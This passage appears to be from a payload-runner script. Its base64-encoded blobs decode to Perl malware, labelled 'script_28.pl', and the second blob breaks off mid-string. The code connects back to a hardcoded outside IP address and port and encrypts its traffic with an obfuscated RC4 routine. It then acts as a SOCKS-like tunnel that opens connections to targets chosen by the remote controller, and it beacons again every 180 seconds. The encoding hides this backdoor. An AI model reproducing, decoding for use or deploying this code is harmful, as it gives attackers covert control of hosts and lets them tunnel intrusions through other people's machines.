7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_28.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc3JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29u